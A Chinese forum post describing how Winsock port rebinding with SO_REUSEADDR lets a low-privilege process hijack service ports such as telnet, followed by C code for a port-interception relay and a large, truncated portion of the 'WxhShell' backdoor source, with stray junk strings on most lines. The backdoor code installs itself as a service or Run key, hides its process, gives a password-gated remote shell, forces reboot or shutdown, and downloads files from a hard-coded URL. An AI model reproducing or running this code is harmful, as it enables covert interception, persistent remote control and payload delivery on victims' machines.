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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: o37oRv]  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); {=Jo!t;f  
coPdyw'9&  
  saddr.sin_family = AF_INET; f##/-NG  
Q_iN/F  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); :X-S&S X0  
XSK<hr0m  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); T2azHo7  
:WQlpLn  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ,~1k:>njY~  
> cWE@P  
  这意味着什么?意味着可以进行如下的攻击: ]e"!ZR?XJ  
0} &/n>F  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 LdNpb;*  
 s7:H  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \SO)|M>.a  
Lr8|S  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 (>x05nh  
a:HN#P)12  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  mDbTOtD  
z9OpxW@Ou  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 Z^4+ 88  
+O9x8OPHW  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ZbdGI@  
)YAU|sCAi$  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 h2Th)&Fb>  
!'BXc%`x[  
  #include O j:I @c  
  #include SVn@q|N  
  #include tH *|  
  #include    vbtZ5Gm  
  DWORD WINAPI ClientThread(LPVOID lpParam);   .{`C>/"}  
  int main() 5%fWX'mS  
  { pO:]3qv  
  WORD wVersionRequested; C8Mx>6  
  DWORD ret; F?H=2mzKbz  
  WSADATA wsaData; #Y'b?&b  
  BOOL val; hqjjd-S0  
  SOCKADDR_IN saddr; Y[}A4`  
  SOCKADDR_IN scaddr; * O?Yp%5NH  
  int err; Q#qfuwz  
  SOCKET s; i+~BVb  
  SOCKET sc; 2?Jw0Wq5D  
  int caddsize; tQNrDp+  
  HANDLE mt; C3f\E: D)  
  DWORD tid;   9=T;Dxn  
  wVersionRequested = MAKEWORD( 2, 2 ); w4TQ4 Y  
  err = WSAStartup( wVersionRequested, &wsaData ); '2<r{  
  if ( err != 0 ) { NqOX);'L0  
  printf("error!WSAStartup failed!\n"); (6a<{  
  return -1; ?f q!BV  
  } +By'6?22  
  saddr.sin_family = AF_INET; <)(W7#Ks  
   HKT, 5  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 oS9Od8  
~ @xPoD&  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); BQg3+w:>  
  saddr.sin_port = htons(23); &V (6N%A^U  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) vS0 ii  
  { mR XR uK  
  printf("error!socket failed!\n"); eXK3W2XF  
  return -1; .f-=gZ* *  
  } il !B={  
  val = TRUE; N_iy4W(NU  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 5<v1v&  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) {GnZ@Q:F  
  { M")/6PH8  
  printf("error!setsockopt failed!\n"); 2/s42 FoG  
  return -1; Jkbeh.  
  } _FE uQ9E  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; NjEi.]L*fX  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 ?H@<8Ra=3  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 s9nPxC&A  
$rr@3H+  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Q/0gd? U?  
  { @Bhcb.kbq  
  ret=GetLastError(); },JJ!3  
  printf("error!bind failed!\n"); 7/QK"0  
  return -1; t? 6 et1~  
  } >jIn&s!}  
  listen(s,2); _&S#;ni\c  
  while(1) BYM6cp+S  
  { {9V.l.Q  
  caddsize = sizeof(scaddr); kVKAG\F  
  //接受连接请求 _]4 p51r0  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); pl1CPxSdO  
  if(sc!=INVALID_SOCKET) vVa|E# [  
  { 5~IdWwG*w  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /(5"c>  
  if(mt==NULL) sr&W+4T  
  { z rSPa\M  
  printf("Thread Creat Failed!\n"); I%a-5f$0  
  break; fDqT7}L  
  } x:!s+q` s  
  } bl^Ihza  
  CloseHandle(mt); .yXqa"p  
  } -q{N1? tcy  
  closesocket(s); g:JSy  
  WSACleanup(); '&#gs P9  
  return 0; SKnYeT  
  }   JRFUNy1+e1  
  DWORD WINAPI ClientThread(LPVOID lpParam) O |P<s+  
  { +8N6tw/&  
  SOCKET ss = (SOCKET)lpParam; !^su=c  
  SOCKET sc; 8t*sp-cy|  
  unsigned char buf[4096]; At=d//5FFP  
  SOCKADDR_IN saddr; N=2T~M 1  
  long num; C,l,fT  
  DWORD val; Qm[s"pM  
  DWORD ret; hd9HM5{p  
  //如果是隐藏端口应用的话,可以在此处加一些判断 ztSQrDbbb4  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   9AB U^ig  
  saddr.sin_family = AF_INET; HV/:OCK  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); P o@;PR=  
  saddr.sin_port = htons(23); =r ^_D=  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) |R@T`dW  
  { o68i0aFW  
  printf("error!socket failed!\n"); T pF [-fO  
  return -1; DWKQ>X6  
  } MU a[}?  
  val = 100; QE[<Y3M  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) TMPk)N1Ka  
  { <Jhd%O  
  ret = GetLastError(); c5WMN.z  
  return -1; }5oI` 9VT  
  } Uz!3){E  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ,/b!Xm:  
  { qq&U)-`  
  ret = GetLastError(); pIcg+~  
  return -1; qNj?Rwc  
  } HBE[q#  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -]zb3P  
  { nD*iSb*  
  printf("error!socket connect failed!\n"); uWdF7|PN7  
  closesocket(sc); A<)n H=G&  
  closesocket(ss); 65~E<)UJ  
  return -1; pz['o  
  } /CsP@f_Gw  
  while(1) 7<WS@-2I#  
  { 1;=L] L?  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 %mT/y%&:  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <L qJg  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 g3NUw/]#  
  num = recv(ss,buf,4096,0); $-1ajSVJ  
  if(num>0) L>sLb(2\i  
  send(sc,buf,num,0); <6 Rec^QF  
  else if(num==0) ANu>*  
  break; ^)>( <6  
  num = recv(sc,buf,4096,0); PtW2S 1?j  
  if(num>0) r4 *H96l  
  send(ss,buf,num,0); `K.B`  
  else if(num==0) !X-\;3kC0  
  break; C'$}{%Cc@$  
  }  J3 Q_  
  closesocket(ss); kMch   
  closesocket(sc); v~L\[&|_  
  return 0 ; FJ~d&L\l  
  } lF}@@e)N  
@L!^2v  
gp`@dn';  
========================================================== ;(`bP  
m1%rm-M  
下边附上一个代码,,WXhSHELL Yt(FSb31H  
K)Lo Z^x0)  
========================================================== mv8H:T  
,R`CAf%*  
#include "stdafx.h" "73y}'  
C+s/KA%  
#include <stdio.h> lUEbxN  
#include <string.h> Nz`8)Le  
#include <windows.h> "crR{OjE"  
#include <winsock2.h> ,#ZPg_x?1  
#include <winsvc.h> 9#:nlu9  
#include <urlmon.h> 'xqyG XI  
?Cf'IBpN  
#pragma comment (lib, "Ws2_32.lib") mgx|5Otg  
#pragma comment (lib, "urlmon.lib") ?Xypn#OPt  
Y`ip. Nx  
#define MAX_USER   100 // 最大客户端连接数 .-rz30xT  
#define BUF_SOCK   200 // sock buffer \T_ZcV  
#define KEY_BUFF   255 // 输入 buffer f~mwDkf?L  
m6e(Xk,)  
#define REBOOT     0   // 重启 :P_h_Tizv  
#define SHUTDOWN   1   // 关机 Ln,<|,fZN  
X^eyrqv  
#define DEF_PORT   5000 // 监听端口 Ljz)%y[s  
2v ~8fr4  
#define REG_LEN     16   // 注册表键长度 !FP ]  
#define SVC_LEN     80   // NT服务名长度 u?72]?SM  
K _VIk'RB  
// 从dll定义API <pb  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); _D4qnb@  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ZSQiQ2\)  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Sr6'$8#>Y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); )?[7}(4jI  
c2g[w;0"  
// wxhshell配置信息 " C0dZ  
struct WSCFG { ON\bD?(VY  
  int ws_port;         // 监听端口 $EFS_*<X  
  char ws_passstr[REG_LEN]; // 口令 WMtFXkf6"  
  int ws_autoins;       // 安装标记, 1=yes 0=no C:Rs~@tl  
  char ws_regname[REG_LEN]; // 注册表键名 I20~bW  
  char ws_svcname[REG_LEN]; // 服务名 geyCS3 :p  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Lbz/M _G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ;F @Sz/  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gxe)5,G  
int ws_downexe;       // 下载执行标记, 1=yes 0=no fs#9~b3  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :.g/=Q(T~  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 8`+=~S  
|=IJ^y(x|  
}; y+iRZ%V^  
 <Y"RsW9  
// default Wxhshell configuration F(`|-E"E;  
struct WSCFG wscfg={DEF_PORT, d {U%q d  
    "xuhuanlingzhe", +&G(AW  
    1, ENhLonM eV  
    "Wxhshell", ; j.d  
    "Wxhshell", n}Z%D-b$  
            "WxhShell Service", [ft6xI  
    "Wrsky Windows CmdShell Service", akbB=:M,x  
    "Please Input Your Password: ", V"4L=[le  
  1, }V] b4t  
  "http://www.wrsky.com/wxhshell.exe", rwj+N%N  
  "Wxhshell.exe" H[KX xNYZ_  
    }; tP|/Q 5s  
fphCQO^#vW  
// 消息定义模块 xW)  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 3<XuJ1V&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "7%jv[  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BT [|f[1  
char *msg_ws_ext="\n\rExit."; PzKTEYJL  
char *msg_ws_end="\n\rQuit."; u|IS7>Sm  
char *msg_ws_boot="\n\rReboot..."; `"CA$Se8  
char *msg_ws_poff="\n\rShutdown..."; *Ze0V9$'  
char *msg_ws_down="\n\rSave to "; )KFxtM-  
[&99#7B  
char *msg_ws_err="\n\rErr!"; x @43ZH_  
char *msg_ws_ok="\n\rOK!"; *.nSv@F  
aWTurnee^  
char ExeFile[MAX_PATH]; ZJs~,Q  
int nUser = 0; ,4"N7_!7  
HANDLE handles[MAX_USER]; ^?Xs!kJP  
int OsIsNt; e+BZoK ^  
Z OPK  
SERVICE_STATUS       serviceStatus; A-4;$ QSm  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; +&u/R')?6r  
PR|z -T  
// 函数声明 ((]i}s0S  
int Install(void); [(*Eg!?W=  
int Uninstall(void); Ich^*z(F$  
int DownloadFile(char *sURL, SOCKET wsh); P,] ./m\J  
int Boot(int flag); &Pme4IHtm  
void HideProc(void); Ti)Me-g  
int GetOsVer(void); 5?H8?~&dz  
int Wxhshell(SOCKET wsl); }6a}8EyFP  
void TalkWithClient(void *cs); b EcN_7  
int CmdShell(SOCKET sock); *ilh/Hd>  
int StartFromService(void); 1]''@oh{6U  
int StartWxhshell(LPSTR lpCmdLine); npzp/mcIe)  
z**2-4 z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); (mP{A(kwJ  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); |1CX?8)b=  
tm5{h{AM  
// 数据结构和表定义 rVP\F{Q4Tr  
SERVICE_TABLE_ENTRY DispatchTable[] = '9u?lA^9$  
{ jA9uB.I,"b  
{wscfg.ws_svcname, NTServiceMain}, AcuZ? LYzK  
{NULL, NULL} AmIW$(Ce  
}; E'4Psx9: =  
4#>Z.sf  
// 自我安装 Q SF0?Puf  
int Install(void) rtAPkXJFM  
{ >(P(!^[f  
  char svExeFile[MAX_PATH]; ~ 3M4F^  
  HKEY key; RYCiO,+  
  strcpy(svExeFile,ExeFile); j17h_ a;  
vW eg1  
// 如果是win9x系统,修改注册表设为自启动 =cV|o]  
if(!OsIsNt) { mmJnE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { %2dzx[s  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); u3qx G3  
  RegCloseKey(key); ;8PO}{rD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,*W~M&n"m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,&@GxiU  
  RegCloseKey(key); ?l%4 P5  
  return 0; |Io:D:  
    } U)f('zD  
  } j"6|$Ze8  
} #b*4v&<  
else { jC[_uG  
Q(-&}cY  
// 如果是NT以上系统,安装为系统服务 :qxWANUa  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); cdkEK  
if (schSCManager!=0) 5FJLDT2Lg  
{ yfV]f LZ  
  SC_HANDLE schService = CreateService V/H+9+B7Im  
  ( >m lQ@Z_O  
  schSCManager, 'd Be,@  
  wscfg.ws_svcname, {Ni]S$7  
  wscfg.ws_svcdisp, Ojz'p5d`>  
  SERVICE_ALL_ACCESS, 3m75mny  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , vrb@::sy0T  
  SERVICE_AUTO_START, v\|jkzR5Y  
  SERVICE_ERROR_NORMAL, nZnqXclzxn  
  svExeFile, TO89;O  
  NULL, \{ | GK  
  NULL, (U# ,;  
  NULL, G@Z%[YNw  
  NULL, KF#^MEw%  
  NULL I1m[M?  
  ); RK-bsf  
  if (schService!=0) dQSO8Jf  
  { Pa0W|q#?X  
  CloseServiceHandle(schService); k%gj  
  CloseServiceHandle(schSCManager); TaSS) n  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); OWrQKd  
  strcat(svExeFile,wscfg.ws_svcname); ^vM6_=g2E%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { F% a&|X  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); D"aK;_W@h  
  RegCloseKey(key); Htr]_<@  
  return 0; tn Ufi8\ob  
    } wbF`wi?  
  } ``< #F3  
  CloseServiceHandle(schSCManager); !%M,x~H  
} Q/3*65  
} 5B|.cOE  
s"#N;  
return 1; & 'i_A%V  
} bL* b>R[x  
3 .#L  
// 自我卸载 w;}5B~).  
int Uninstall(void) Nb:j]U  
{ nG3SDL#(k  
  HKEY key; n\D/WLvM  
`XE>Td>Bs  
if(!OsIsNt) { Dk sn  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Drtg7v{@\  
  RegDeleteValue(key,wscfg.ws_regname); M2ex 3m  
  RegCloseKey(key); G{6@]72  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )jl@ hnA  
  RegDeleteValue(key,wscfg.ws_regname); Xj+_"0 #  
  RegCloseKey(key); I2HV{1(i  
  return 0; i/-IjgM"-  
  } Epp>L.?r  
} !yj1X Ar  
}  ij:a+T  
else { @C@9Tw2Y  
QyL]-zNg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Bj4c_YBte  
if (schSCManager!=0) vkJyD/;=  
{ w^8Q~ 3|7  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); J?TCP%  
  if (schService!=0) Xh}q/H<  
  { sx azl]  
  if(DeleteService(schService)!=0) { !VIxEu^ke  
  CloseServiceHandle(schService); }iDRlE,  
  CloseServiceHandle(schSCManager); 5'f_~>1Wt  
  return 0; H0inU+Ih  
  } T rh t2Iv  
  CloseServiceHandle(schService); b+:mV7eX  
  } Txo{6nd/  
  CloseServiceHandle(schSCManager); i_m& qy<v  
} V0m1>{  
} <-N eusx%  
xib}E[-l#  
return 1; JdI*@b2k[  
} uY)4y0  
7Fpa%N/WL  
// 从指定url下载文件 EwG+' nlE  
int DownloadFile(char *sURL, SOCKET wsh) ?MSZO]Q4+  
{ [V_mF  
  HRESULT hr; /Z*$k{qIR&  
char seps[]= "/"; L|APXy]>  
char *token; r)>'cjx/  
char *file; 9$v\D3<Z  
char myURL[MAX_PATH]; *-]k([wV  
char myFILE[MAX_PATH]; i| cA)  
|%8t.Z  
strcpy(myURL,sURL); 2u_=i$xW  
  token=strtok(myURL,seps); gYbvCs8O!  
  while(token!=NULL) _5n2'\] H`  
  { FEhBhv|m  
    file=token; rMWvW(@@D  
  token=strtok(NULL,seps); o/,%rA4  
  } 74 ptd,  
,e$RvFB  
GetCurrentDirectory(MAX_PATH,myFILE); < hy!B4  
strcat(myFILE, "\\"); 8bMw.u=F  
strcat(myFILE, file); m8L %!6o  
  send(wsh,myFILE,strlen(myFILE),0); \4$Nx/@Q}  
send(wsh,"...",3,0); 'p[6K'Uq5  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); l]DRJ  
  if(hr==S_OK) oIOeX1$V  
return 0; B> i^w1  
else J%ws-A?6rN  
return 1; H h](n<Bs  
kKbbsB  
} H4v%$R;K  
o+OX^F0  
// 系统电源模块 *tZ3?X[b  
int Boot(int flag) |U1u:=[  
{ 5C*Zb3VG4  
  HANDLE hToken; 4V@0L  
  TOKEN_PRIVILEGES tkp; !#]kzS0  
EX<1hAw  
  if(OsIsNt) { o>]w76A^(  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);  ]igCV  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); "e\73?P  
    tkp.PrivilegeCount = 1; E.$//P n|1  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; @:hWahMy  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); W{ozZuo  
if(flag==REBOOT) { AS0(NlV  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) _kOuD}_|  
  return 0; )I<VH +6  
} |'i ?o  
else { ~:!& }e5  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) tMf5TiWu@  
  return 0; K'e!BZm6Q  
} "[A&S!  
  } [uie]*^  
  else { j }^?Snq  
if(flag==REBOOT) { rf$[8d  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) jkuNafp}  
  return 0; )tV]h#4  
} $a\X(okx  
else { tvzO)&)$  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) _jkJw2+s\  
  return 0; v/KTEM  
} B7{j$0fm*  
} 5.0;xz}#y  
g+.E=Ef8<4  
return 1; aM[fag$c  
} cEJ_z(\=hr  
F r2 +p  
// win9x进程隐藏模块 ,h3,& ,  
void HideProc(void)  ;XYfw)  
{ 3kJSz-_M  
?aG~E  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Vyx&MU.-J  
  if ( hKernel != NULL ) /e*<-a  
  { &xlOsr/n  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); d9 8pv%  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); EjVB\6,  
    FreeLibrary(hKernel); y;9K  
  } NVC$8imip  
)[sSCt]  
return; @iz S_I,  
} ";0-9*I  
&E k\  
// 获取操作系统版本 wAb_fU&*  
int GetOsVer(void) GEb)nHQq  
{ |("5 :m  
  OSVERSIONINFO winfo; yNx"Ey dk`  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XnvaT(k7Y  
  GetVersionEx(&winfo); 8{Svax(  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) I#p-P)Q%S  
  return 1; )./'RE+(k  
  else A,ao2)  
  return 0; Q([g1?F9*  
} ~ YZi"u  
8>:2li  
// 客户端句柄模块 HoM8V"8B  
int Wxhshell(SOCKET wsl) VxAR,a1+n  
{ }Ty_ } 6a5  
  SOCKET wsh; DNM~/Oo  
  struct sockaddr_in client; uoBPi[nK  
  DWORD myID; ,%m$_wA$  
gD fVY%[Z  
  while(nUser<MAX_USER) pm;g)p?  
{ 9Bmgz =8  
  int nSize=sizeof(client); JeCEj=_Z  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); X_|} b[b  
  if(wsh==INVALID_SOCKET) return 1; }fxH>79g  
`[1]wV5(5@  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); [ 06B)|s  
if(handles[nUser]==0) r?2C%GI`  
  closesocket(wsh); X4*/h$48 w  
else C[$<7Mi|;  
  nUser++; Nb{oH+$b  
  } /L[:C=u  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 8i"{GGVC  
EA>$t\z  
  return 0; DFjkp;`1  
} !*#=7^#  
;6)|'3.B9  
// 关闭 socket CnA*o 8w  
void CloseIt(SOCKET wsh) z KWi9  
{ S"Zs'7dy`  
closesocket(wsh); pK1(AV'L  
nUser--; |s`q+ U-  
ExitThread(0); g-(xuR^*  
} G6Fg<g9:  
86} rz  
// 客户端请求句柄 ;j_#,Da9<  
void TalkWithClient(void *cs) QU4'x4YS  
{ #6m//0 u  
C"mb-n 7s  
  SOCKET wsh=(SOCKET)cs; KoXXNJax  
  char pwd[SVC_LEN]; p0YTZS ]h  
  char cmd[KEY_BUFF]; I~T?tm  
char chr[1]; bFx?HM.AGW  
int i,j; cE]kI,Fw,M  
02S(9^=  
  while (nUser < MAX_USER) { 2Uk8{d  
<*5D0q#~"  
if(wscfg.ws_passstr) { 3 \WdA$Wx  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); >) :d38M  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); bo"I:)n;  
  //ZeroMemory(pwd,KEY_BUFF); Tp6ysjao  
      i=0; dX3> j{_  
  while(i<SVC_LEN) { %E!0,y,:  
fu&]t8MJC  
  // 设置超时 G`W+m*[U+M  
  fd_set FdRead; vA{[F7  
  struct timeval TimeOut; Wl2>U(lj  
  FD_ZERO(&FdRead); [E/3&3  
  FD_SET(wsh,&FdRead); Mo<p+*8u:  
  TimeOut.tv_sec=8; %`\{Nx k  
  TimeOut.tv_usec=0; nz&JG~Qfm  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); J/*[wj  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); e O}mZN  
&\K#UVDyhh  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); t-Fl"@s  
  pwd=chr[0]; J\0YL\jw1K  
  if(chr[0]==0xd || chr[0]==0xa) { MdfkC6P  
  pwd=0; i! nl%%  
  break; 8UZE C-K  
  } Te/)[I'Tn  
  i++; Y+7v~/K=  
    } Q'Tn+}B&  
/][U$Q;Ke  
  // 如果是非法用户,关闭 socket ljCgIfZ_4  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); w/<hyEpxg  
} >y@w-,1he  
K&h|r`W(  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 33C#iR1(WJ  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); lqs_7HhvRS  
/4 f;Niem  
while(1) { 8| /YxF<  
x/<. ?[A  
  ZeroMemory(cmd,KEY_BUFF); #>V;ZV5"  
_ 8>"&1n  
      // 自动支持客户端 telnet标准   w$!n8A qs  
  j=0; /L 4WWQ5  
  while(j<KEY_BUFF) { "8X+F%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 'huLv(Uu  
  cmd[j]=chr[0]; RPWYm  
  if(chr[0]==0xa || chr[0]==0xd) { ro{MD s  
  cmd[j]=0;  x1et,&,  
  break; >j?uI6Uw  
  } G# C)]4[n  
  j++; hU{%x#8}lK  
    } U|QDV16f  
|g{AD`  
  // 下载文件 57}q'84  
  if(strstr(cmd,"http://")) { Sq'z<}o  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); /_|1,x-Kx  
  if(DownloadFile(cmd,wsh)) ?~{xL"  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ^b#E%Rd  
  else ]=3O,\  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2S4z$(x3  
  } V_QVLW  
  else { k|D!0^HE[  
.,,73"  
    switch(cmd[0]) { .wSAysiQ|P  
  v> 5F[0gE  
  // 帮助 G Xl?Zg  
  case '?': { V_kE"W)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sFTIRVXN,  
    break; Y(f-e,  
  } xd3  
  // 安装 2o/`8+eJu  
  case 'i': { ^J_hkw~gO  
    if(Install()) qr 9 F  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); [8w2U%}]  
    else 2 *$n?  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); K&h6#[^\d  
    break; ihVQ,Cth  
    } Ah`dt8t  
  // 卸载 4@I]PG  
  case 'r': { EUkNh>U?  
    if(Uninstall()) =)8Ct  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g]#Wve  
    else _;{-w%Vf  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); qg/5m;U  
    break; gib]#n1!p  
    } z"#.o^5  
  // 显示 wxhshell 所在路径 [}p.*U_nw  
  case 'p': { @gc"-V*-/  
    char svExeFile[MAX_PATH]; EoeEg,'~F  
    strcpy(svExeFile,"\n\r"); Izu.I_$4  
      strcat(svExeFile,ExeFile); %K7}yy&9C  
        send(wsh,svExeFile,strlen(svExeFile),0); cw.7YiU  
    break; (% P=#vZ  
    } s|T7)PgR  
  // 重启 F{ ,O+\  
  case 'b': { I\~V0<"jI  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *zWn4BckN  
    if(Boot(REBOOT)) (/U1J  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @\?f77Of6  
    else { 3D0I5LF&  
    closesocket(wsh); z<>_*Lfj  
    ExitThread(0); ^@2Vh*k  
    } #Au&2_O  
    break; b*KZe[#M1  
    } W\7*T1TDj  
  // 关机 v_0!uT5~NE  
